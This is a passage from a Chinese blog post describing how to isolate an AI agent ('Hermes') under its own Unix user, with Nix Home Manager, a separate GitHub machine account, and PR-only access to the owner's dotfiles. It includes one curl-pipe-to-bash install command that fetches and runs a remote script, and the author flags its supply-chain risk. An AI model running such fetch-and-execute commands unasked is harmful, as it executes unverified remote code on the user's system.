&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;stateVersion&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;26.05&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;programs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;home-manager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;enable&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;其中，&lt;code&gt;base.nix&lt;/code&gt; 提供 Git、curl、jq、fzf 和 Neovim 等基础工具；&lt;code&gt;modern-unix.nix&lt;/code&gt; 提供 &lt;code&gt;ripgrep&lt;/code&gt;、&lt;code&gt;fd&lt;/code&gt;、&lt;code&gt;bat&lt;/code&gt;、&lt;code&gt;eza&lt;/code&gt;、&lt;code&gt;zoxide&lt;/code&gt; 等现代命令行工具；&lt;code&gt;cli.nix&lt;/code&gt; 安装 GitHub CLI 和 Gitea 的 &lt;code&gt;tea&lt;/code&gt;；&lt;code&gt;node.nix&lt;/code&gt; 则安装 Node.js、pnpm、Yarn 和 Bun，并把 npm 的用户级 prefix 设置到 &lt;code&gt;~/.local/share/npm&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;对应的 flake 输出也沿用现有的“用户@主机”命名方式：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-nix" data-lang="nix"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;homeConfigurations&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;hermes@thinkpad&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;home-manager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;homeManagerConfiguration&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;inherit&lt;/span&gt; &lt;span class="n"&gt;pkgs&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;modules&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="sr"&gt;./hosts/thinkpad-hermes.nix&lt;/span&gt; &lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;我原来为 &lt;code&gt;lark-cli&lt;/code&gt; 写过单独的 Nix package，后来把它删掉了。&lt;code&gt;lark-cli&lt;/code&gt; 和 Codex 都以 npm 作为主要发布和更新方式，而且版本更新频繁。继续在 dotfiles 中维护版本号、下载地址和 hash，只会让 Nix 包长期落后于上游。因此，Home Manager 只负责提供稳定的 Node/npm 环境，这两个工具交给 &lt;code&gt;hermes&lt;/code&gt; 用户通过 npm 管理：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;npm install --global @larksuite/lark-cli @openai/codex
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这里的“global”并不会写入系统目录。&lt;code&gt;node.nix&lt;/code&gt; 已经把 npm prefix 指向 &lt;code&gt;/home/hermes/.local/share/npm&lt;/code&gt;，并把其中的 &lt;code&gt;bin&lt;/code&gt; 加入 &lt;code&gt;PATH&lt;/code&gt;，所以安装和升级都不需要 sudo：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;npm update --global @larksuite/lark-cli @openai/codex
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这样划分之后，Nix 管理相对稳定的运行时和通用工具，npm 管理以 npm 为主要发布渠道、需要频繁跟进版本的 Agent CLI。Hermes 仍然拿不到宿主机的软件安装权限，只能修改自己 Home 下的 npm prefix。&lt;/p&gt;
&lt;p&gt;Hermes Agent 本体也采用相同的判断：它更新频繁，而且官方提供了自己的安装与更新流程，所以不由 &lt;code&gt;thinkpad-hermes.nix&lt;/code&gt; 管理。当前使用的是官方 Quick Install 命令：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -fsSL https://hermes-agent.nousresearch.com/install.sh &lt;span class="p"&gt;|&lt;/span&gt; bash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;因此，&lt;code&gt;hosts/thinkpad-hermes.nix&lt;/code&gt; 中没有导入 &lt;code&gt;agents.nix&lt;/code&gt;。Home Manager 负责准备 curl、Git、Node 和常用 CLI 等稳定基础环境；Hermes Agent、&lt;code&gt;lark-cli&lt;/code&gt; 和 Codex 则分别跟随自己的主要上游渠道更新。这里的 &lt;code&gt;curl | bash&lt;/code&gt; 不是由 root 执行，安装结果只进入 Hermes 用户自己的目录。即便如此，每次重新安装前仍然应该确认域名和脚本来源；方便更新不等于可以忽略供应链风险。&lt;/p&gt;
&lt;h3 id="给-hermes-一个独立的-github-身份"&gt;给 Hermes 一个独立的 GitHub 身份
&lt;/h3&gt;&lt;p&gt;如果 Hermes 只有 dotfiles 的只读权限，它可以在本地修改配置，却没办法把分支推到 GitHub，也就不能独立发起 PR。因此还需要给它一个可审计的 GitHub 身份。&lt;/p&gt;
&lt;p&gt;GitHub 没有个人账号下面的子账号。按照 GitHub 对&lt;a class="link" href="https://docs.github.com/en/get-started/learning-about-github/types-of-github-accounts" target="_blank" rel="noopener"
&gt;账号类型&lt;/a&gt;的说明，用于自动化的账号仍然是一个独立 user account，GitHub 称之为 machine user。它不会在账号层面从属于 &lt;code&gt;U1traVeno&lt;/code&gt;，但我负责创建、保管恢复方式和控制它能访问哪些仓库。将来如果需要真正的组织归属和集中权限管理，应该建立 GitHub Organization，或者改用 GitHub App。&lt;/p&gt;
&lt;p&gt;对于当前公开的 dotfiles 仓库，独立 machine user + fork 已经足够：&lt;/p&gt;
&lt;p&gt;目前创建的账号是 &lt;a class="link" href="https://github.com/U1traVeno-hermes" target="_blank" rel="noopener"
&gt;&lt;code&gt;U1traVeno-hermes&lt;/code&gt;&lt;/a&gt;，使用独立邮箱 &lt;code&gt;hermes@v3n0.top&lt;/code&gt;。这个账号只代表由我维护的 Hermes 自动化身份，不和我的日常 GitHub 登录或凭据混用。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;span class="lnt"&gt;8
&lt;/span&gt;&lt;span class="lnt"&gt;9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;U1traVeno/dotfiles（上游，只读）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ▲
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ Pull Request
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;U1traVeno-hermes/dotfiles（fork，可写）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ▲
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ SSH push
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/home/hermes/dotfiles
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h4 id="创建-machine-user"&gt;创建 machine user
&lt;/h4&gt;&lt;p&gt;账号注册需要由我手动完成，不能把主账号的密码、2FA 或恢复码交给 Agent。这个账号使用独立用户名和邮箱，并在 profile 中明确标注它是由我维护的自动化账号，避免其他人把它误认为真人团队成员。&lt;/p&gt;
&lt;p&gt;账号初始化时需要完成这些设置：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;使用独立的长随机密码；&lt;/li&gt;
&lt;li&gt;开启 2FA；&lt;/li&gt;
&lt;li&gt;把恢复码保存在我的密码管理器中，而不是 &lt;code&gt;/home/hermes&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;添加并验证独立邮箱 &lt;code&gt;hermes@v3n0.top&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;不给该账号添加主仓库 collaborator 权限；&lt;/li&gt;
&lt;li&gt;由 machine user fork &lt;code&gt;U1traVeno/dotfiles&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;即使 Hermes 的凭据泄漏，攻击者也只能修改它自己的 fork，不能直接写入上游 &lt;code&gt;main&lt;/code&gt;。PR 仍然必须经过主账号审查和合并。&lt;/p&gt;
&lt;h4 id="配置-hermes-自己的-ssh-身份"&gt;配置 Hermes 自己的 SSH 身份
&lt;/h4&gt;&lt;p&gt;先进入同一台机器上的 &lt;code&gt;hermes&lt;/code&gt; 用户并生成默认 key：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;install -d -m &lt;span class="m"&gt;0700&lt;/span&gt; ~/.ssh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ssh-keygen &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -t ed25519 &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -C &lt;span class="s2"&gt;&amp;#34;hermes@v3n0.top&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;直接接受默认保存位置 &lt;code&gt;~/.ssh/id_ed25519&lt;/code&gt;。如果这个文件已经存在，先确认它是否就是 Hermes 当前使用的身份，不要覆盖。把 &lt;code&gt;~/.ssh/id_ed25519.pub&lt;/code&gt; 添加到 &lt;code&gt;U1traVeno-hermes&lt;/code&gt; 的 &lt;strong&gt;Settings -&amp;gt; SSH and GPG keys&lt;/strong&gt;；私钥只保留在 Hermes 自己的 Home 中。&lt;/p&gt;
&lt;p&gt;测试时要确认 GitHub 返回的是 machine user，而不是我的主账号：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ssh -T git@github.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h4 id="先在-web-上-fork-dotfiles"&gt;先在 Web 上 fork dotfiles
&lt;/h4&gt;&lt;p&gt;&lt;code&gt;U1traVeno-hermes&lt;/code&gt; 没有 &lt;code&gt;U1traVeno/dotfiles&lt;/code&gt; 的写权限，所以不能把本地分支直接推送到我的仓库。它必须先以自己的身份 fork 一份仓库，得到可写的：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;U1traVeno-hermes/dotfiles
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;首次 bootstrap 时，Home Manager 还没有生效，&lt;code&gt;gh&lt;/code&gt; 也还没有安装，所以这里不能先写 &lt;code&gt;gh repo fork&lt;/code&gt;。我直接在浏览器中登录 &lt;code&gt;U1traVeno-hermes&lt;/code&gt;，打开 &lt;code&gt;U1traVeno/dotfiles&lt;/code&gt; 后点击 &lt;strong&gt;Fork&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;完成后可以先在 Web 页面确认下面两个仓库关系正确：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nameWithOwner: U1traVeno-hermes/dotfiles
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;parent: U1traVeno/dotfiles
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;后续 Hermes 只把 topic branch 推送到 &lt;code&gt;U1traVeno-hermes/dotfiles&lt;/code&gt;，再以该分支为 head 向 &lt;code&gt;U1traVeno/dotfiles&lt;/code&gt; 的 &lt;code&gt;main&lt;/code&gt; 发起 PR。机器账号不需要成为上游仓库的 collaborator，也不需要获得上游 &lt;code&gt;Contents: write&lt;/code&gt; 权限。&lt;/p&gt;
&lt;h4 id="用临时-git-bootstrap-home-manager"&gt;用临时 Git bootstrap Home Manager
&lt;/h4&gt;&lt;p&gt;此时 &lt;code&gt;hermes&lt;/code&gt; 的 Home Manager 配置还没有应用，所以系统里既没有 Git，也没有 &lt;code&gt;gh&lt;/code&gt;。但 Nix 已经可用，可以先进入一个临时带 Git 的 Shell：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nix shell &lt;span class="s1"&gt;&amp;#39;nixpkgs#git&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这个 Shell 里的 Git 只用于完成第一次 clone。因为机器账号的 fork 已经创建，而且 SSH 公钥也已经登记到 GitHub，所以直接 clone 可写的 fork：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git clone git@github.com:U1traVeno-hermes/dotfiles.git ~/dotfiles
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; ~/dotfiles
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;仓库中的 &lt;code&gt;flake.lock&lt;/code&gt; 已经固定了 Home Manager input，所以 bootstrap 时不需要再执行 &lt;code&gt;nix run github:nix-community/home-manager&lt;/code&gt;。后者会解析上游的 &lt;code&gt;HEAD&lt;/code&gt;，请求 GitHub commits API；在共享出口 IP 上很容易撞到匿名 API rate limit。&lt;/p&gt;
&lt;p&gt;构建前必须先确认 host module 中的 Unix 用户名与当前实际账号完全一致：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;id -un
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;%s\n&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$HOME&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;例如实际账号叫 &lt;code&gt;hermes-fp&lt;/code&gt;，对应配置就必须是：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-nix" data-lang="nix"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;home&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;hermes-fp&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;homeDirectory&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;/home/hermes-fp&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;stateVersion&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;26.05&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Home Manager 会在 activation 时比较 &lt;code&gt;$USER&lt;/code&gt; 与 &lt;code&gt;home.username&lt;/code&gt;。如果当前用户是 &lt;code&gt;hermes-fp&lt;/code&gt;，配置却写着 &lt;code&gt;hermes&lt;/code&gt;，它会以 &lt;code&gt;USER is &amp;quot;hermes-fp&amp;quot;, expected &amp;quot;hermes&amp;quot;&lt;/code&gt; 拒绝执行，防止把另一个用户的配置误装进当前 Home。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;homeConfigurations&lt;/code&gt; 的输出名在技术上只是 flake attribute，并不参与 Unix 权限检查，但为了避免选错目标，也应该沿用真实用户名。例如：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-nix" data-lang="nix"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;homeConfigurations&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;hermes-fp@thinkpad&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;home-manager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;homeManagerConfiguration&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;inherit&lt;/span&gt; &lt;span class="n"&gt;pkgs&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;modules&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="sr"&gt;./hosts/thinkpad-hermes.nix&lt;/span&gt; &lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;完成对应修改后，使用本地 flake 构建目标用户的 activation package。下面仍以文章中的 &lt;code&gt;hermes&lt;/code&gt; 示例账号为例，实际部署时需要替换成真实输出名：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nix build &lt;span class="s1"&gt;&amp;#39;.#homeConfigurations.&amp;#34;hermes@thinkpad&amp;#34;.activationPackage&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./result/activate
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
